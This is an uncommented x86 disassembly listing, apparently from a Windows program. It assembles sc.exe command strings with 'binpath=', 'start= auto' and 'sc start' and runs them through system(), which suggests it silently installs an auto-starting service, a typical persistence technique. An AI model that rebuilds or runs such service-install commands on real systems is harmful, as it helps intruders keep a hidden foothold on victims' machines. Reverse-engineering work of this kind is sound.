mov edx, dword [ebp - 0xa0]
mov eax, edx
mov ecx, dword [ebp - 0xa4]
sub eax, ecx
push 0xb
push str.__binpath_
cmp eax, 0xb
jb 0x413994
cmp edx, 0x10
lea esi, [ebp - 0xb4]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0xb4]
add esi, ecx
mov dword [ebp - 0xa4], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0xb4]
jmp 0x4139a8
mov byte [ebp - 0x60], 0
lea ecx, [ebp - 0xb4]
push dword [ebp - 0x60]
push 0xb
call fcn.00405570
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x70], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x74], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x39
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x70]
cmovae edx, edi
mov esi, dword [ebp - 0x74]
sub eax, esi
mov ecx, dword [ebp - 0x34]
push ecx
push edx
cmp ecx, eax
ja 0x413a38
cmp dword [ebp - 0x70], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x84]
cmovae eax, dword [ebp - 0x84]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x84]
jmp 0x413a4e
mov byte [ebp - 0x60], 0
push dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x84]
call fcn.00405570
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x88]
mov eax, edx
mov ecx, dword [ebp - 0x8c]
sub eax, ecx
push 0xc
push str.__startauto
cmp eax, 0xc
jb 0x413ae4
cmp edx, 0x10
lea esi, [ebp - 0x9c]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x9c]
add esi, ecx
mov dword [ebp - 0x8c], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x9c]
jmp 0x413af8
mov byte [ebp - 0x60], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x60]
push 0xc
call fcn.00405570
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xcc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xbc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
cmovae eax, dword [ebp - 0xcc]
push eax
call esi
mov ecx, dword [ebp - 0xb8]
add esp, 4
cmp ecx, 0x10
jb 0x413b98
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413b8e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c88
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x413bf1
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413be7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c88
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
cmp ecx, 0x10
jb 0x413c43
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413c39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413c88
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x413c98
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413c8e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x413c8e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xa
jb 0x413f20
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xa
push str.sc_start__
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xb4]
call fcn.0040acb0
mov byte [ebp - 4], 0x3b
mov edx, dword [ebp - 0xa0]
mov eax, edx
mov ecx, dword [ebp - 0xa4]
sub eax, ecx
cmp eax, 1
jb 0x413d0e
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0xb4]
cmovae eax, dword [ebp - 0xb4]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0xb4]
jmp 0x413d29
push 1
push 0x42468c
mov byte [ebp - 0x60], 0
lea ecx, [ebp - 0xb4]
push dword [ebp - 0x60]
push 1
call fcn.00405570
mov dword [ebp - 0x74], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x70], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x84], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x74], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
cmovae eax, dword [ebp - 0x84]
push eax
call esi
mov ecx, dword [ebp - 0x70]
add esp, 4
cmp ecx, 0x10
jb 0x413db0
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413da6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413df5
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x413e05
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413dfb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x413dfb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov esi, dword [ebp - 0xd0]
lea eax, [ebp - 0x44]
cmp esi, eax
je 0x413e27
cmp dword [ebp - 0x30], 0x10
mov ecx, esi
push dword [ebp - 0x34]
cmovae eax, edi
push eax
call fcn.00415370
mov edi, dword [ebp - 0x44]
lea eax, [ebp - 0x2c]
lea ecx, [esi + 0x20]
cmp ecx, eax
je 0x413e42
cmp dword [ebp - 0x18], 0x10
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00415370
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
mov word [esi + 0x1c], ax
cmp ecx, 0x10
jb 0x413e79
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413e6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413ece
push ecx
push edx
call fcn.0041f6f2
add esp, 8
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x413ea8
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x413e9e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413ece
push ecx
push edi
call fcn.0041f6f2
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x413ede
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413ed4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x413ed4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041f6f2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041f19c
mov esp, ebp
pop ebp
ret 4
call fcn.00401620
call fcn.00401620
call fcn.00401620
call fcn.00401620
call fcn.00401620
call fcn.00401620
call fcn.00401620
call fcn.00401620
int3